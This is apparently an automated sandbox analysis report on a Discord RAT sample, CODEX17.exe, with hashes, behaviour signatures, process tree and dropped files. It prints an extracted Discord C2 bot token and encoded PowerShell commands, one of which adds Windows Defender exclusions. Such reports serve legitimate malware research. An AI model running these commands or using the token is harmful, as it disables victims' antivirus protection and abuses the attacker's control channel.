Analysis

  • max time kernel
    94s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-12-2024 14:17

General

  • Target

    CODEX17.exe

  • Size

    307KB

  • MD5

    53cc7337eed07bbbe0172f0b64bc6245

  • SHA1

    9b0ac7e0eaffdb6ed8af1501939f40bd798f6be0

  • SHA256

    1e5a4524dab6f1e4125043a7cdcfb6874c32a0514941ec4a90211f53efeef058

  • SHA512

    ff2ec069d7877fdc646dfaaba4d9525ef71c04c93936accdd1bc1bfe9ab873ab27cceb9c2d34d25f3b3e6d4e6bb4ece707b797d2f5672d73583e21a361fb333d

  • SSDEEP

    6144:m2EUicOFEG3AFDmDbpM6/XETGNNjyhRJNJC32XENQ8NvN:m2rOXTfpNg+

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTMwODQxMjQ0MjIyODk1MzIwMA.GV9W16.iYVXo71VO-dFm-6aOmZjrpuYUGqFHWVGtkvM5Q

  • server_id

    1316071968298111026

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

  • Discordrat family
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CODEX17.exe
    "C:\Users\Admin\AppData\Local\Temp\CODEX17.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAaABrACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGQAaABiACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACcALAAnACcALAAnAE8ASwAnACwAJwBXAGEAcgBuAGkAbgBnACcAKQA8ACMAaABoAG4AIwA+AA=="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5092
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdABiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAaAB5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGUAZQB0ACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2184
    • C:\Users\Admin\AppData\Local\Temp\Client-built.exe
      "C:\Users\Admin\AppData\Local\Temp\Client-built.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3172

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    4cc9e7069534f7bcbb90ad7cac69ed78

    SHA1

    a3522b9edd4a7d28ad0ac0e1b659a82b6dc10892

    SHA256

    4814be12fd2320cd9249d3b2611ea1421cb88823097fcbf0ca697e6e9ac93c9c

    SHA512

    e408e0abb3b7166578c075d10f1378d6a6b39dc386361a4df23abc026e9a634bfb16c01daf9b8fcbe8555e335d93c8c9d8442a11c187df616f2d6cdd3ab53653

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    22ea3ecd0974535cdcb8b2f42fefe59f

    SHA1

    738ec23683b3bf466f06f3e78945716231bdc681

    SHA256

    d413e7fcc19ab3b13aae3c278d186b8312696506ee09f70dd57d2e18fe4542bd

    SHA512

    4b502884e8dfb72804bf99f92d154995daeea505b429ba04cfa1e0cef8bee6b741448936aac3c22d82dd85d500612da71f54e3a4a50d0ccdd0d0ea6d937bb93c

  • C:\Users\Admin\AppData\Local\Temp\Client-built.exe

    Filesize

    78KB

    MD5

    eef37e61081aca867be51dab8d02c732

    SHA1

    b58736f3eb07dedd144e61a8e38802de1c15b947

    SHA256

    d74aed2a699c0ad2be01c761918ddcd5486bcf331a0a54a02bed4e073bdb39a8

    SHA512

    08555aeb12b54264370e1e4154a7509efe21b84fbe5aa1fd4c322b22886a149adeaa3ff7e9b1b54f9c1ccd1dcc9ae32e5702c876b9ed1b58f63a9a1c61425078

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kfvrf2hr.zm3.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2184-68-0x0000000007170000-0x000000000717E000-memory.dmp

    Filesize

    56KB

  • memory/2184-69-0x0000000007180000-0x0000000007194000-memory.dmp

    Filesize

    80KB

  • memory/2184-49-0x0000000006DC0000-0x0000000006DF2000-memory.dmp

    Filesize

    200KB

  • memory/2184-67-0x0000000007130000-0x0000000007141000-memory.dmp

    Filesize

    68KB

  • memory/2184-70-0x0000000007260000-0x000000000727A000-memory.dmp

    Filesize

    104KB

  • memory/2184-65-0x00000000071C0000-0x0000000007256000-memory.dmp

    Filesize

    600KB

  • memory/2184-62-0x0000000006FB0000-0x0000000006FBA000-memory.dmp

    Filesize

    40KB

  • memory/2184-61-0x0000000006E00000-0x0000000006EA3000-memory.dmp

    Filesize

    652KB

  • memory/2184-71-0x00000000071B0000-0x00000000071B8000-memory.dmp

    Filesize

    32KB

  • memory/2184-60-0x00000000061E0000-0x00000000061FE000-memory.dmp

    Filesize

    120KB

  • memory/2184-50-0x0000000070940000-0x000000007098C000-memory.dmp

    Filesize

    304KB

  • memory/3172-36-0x00007FFCE99F0000-0x00007FFCEA4B1000-memory.dmp

    Filesize

    10.8MB

  • memory/3172-32-0x00007FFCE99F3000-0x00007FFCE99F5000-memory.dmp

    Filesize

    8KB

  • memory/3172-78-0x00007FFCE99F0000-0x00007FFCEA4B1000-memory.dmp

    Filesize

    10.8MB

  • memory/3172-76-0x00007FFCE99F0000-0x00007FFCEA4B1000-memory.dmp

    Filesize

    10.8MB

  • memory/3172-75-0x00007FFCE99F3000-0x00007FFCE99F5000-memory.dmp

    Filesize

    8KB

  • memory/3172-31-0x00000233648D0000-0x00000233648E8000-memory.dmp

    Filesize

    96KB

  • memory/3172-48-0x000002337F6E0000-0x000002337FC08000-memory.dmp

    Filesize

    5.2MB

  • memory/3172-33-0x000002337EEE0000-0x000002337F0A2000-memory.dmp

    Filesize

    1.8MB

  • memory/5092-18-0x0000000005C50000-0x0000000005C6E000-memory.dmp

    Filesize

    120KB

  • memory/5092-6-0x0000000004E30000-0x0000000004E96000-memory.dmp

    Filesize

    408KB

  • memory/5092-19-0x0000000005C90000-0x0000000005CDC000-memory.dmp

    Filesize

    304KB

  • memory/5092-35-0x0000000006160000-0x000000000617A000-memory.dmp

    Filesize

    104KB

  • memory/5092-17-0x0000000005720000-0x0000000005A74000-memory.dmp

    Filesize

    3.3MB

  • memory/5092-66-0x00000000740B0000-0x0000000074860000-memory.dmp

    Filesize

    7.7MB

  • memory/5092-7-0x0000000004EA0000-0x0000000004F06000-memory.dmp

    Filesize

    408KB

  • memory/5092-47-0x0000000007020000-0x00000000070B2000-memory.dmp

    Filesize

    584KB

  • memory/5092-5-0x0000000004C90000-0x0000000004CB2000-memory.dmp

    Filesize

    136KB

  • memory/5092-4-0x00000000740B0000-0x0000000074860000-memory.dmp

    Filesize

    7.7MB

  • memory/5092-2-0x0000000004F10000-0x0000000005538000-memory.dmp

    Filesize

    6.2MB

  • memory/5092-3-0x00000000740B0000-0x0000000074860000-memory.dmp

    Filesize

    7.7MB

  • memory/5092-1-0x0000000002690000-0x00000000026C6000-memory.dmp

    Filesize

    216KB

  • memory/5092-46-0x0000000007ED0000-0x0000000008474000-memory.dmp

    Filesize

    5.6MB

  • memory/5092-0-0x00000000740BE000-0x00000000740BF000-memory.dmp

    Filesize

    4KB

  • memory/5092-34-0x00000000072A0000-0x000000000791A000-memory.dmp

    Filesize

    6.5MB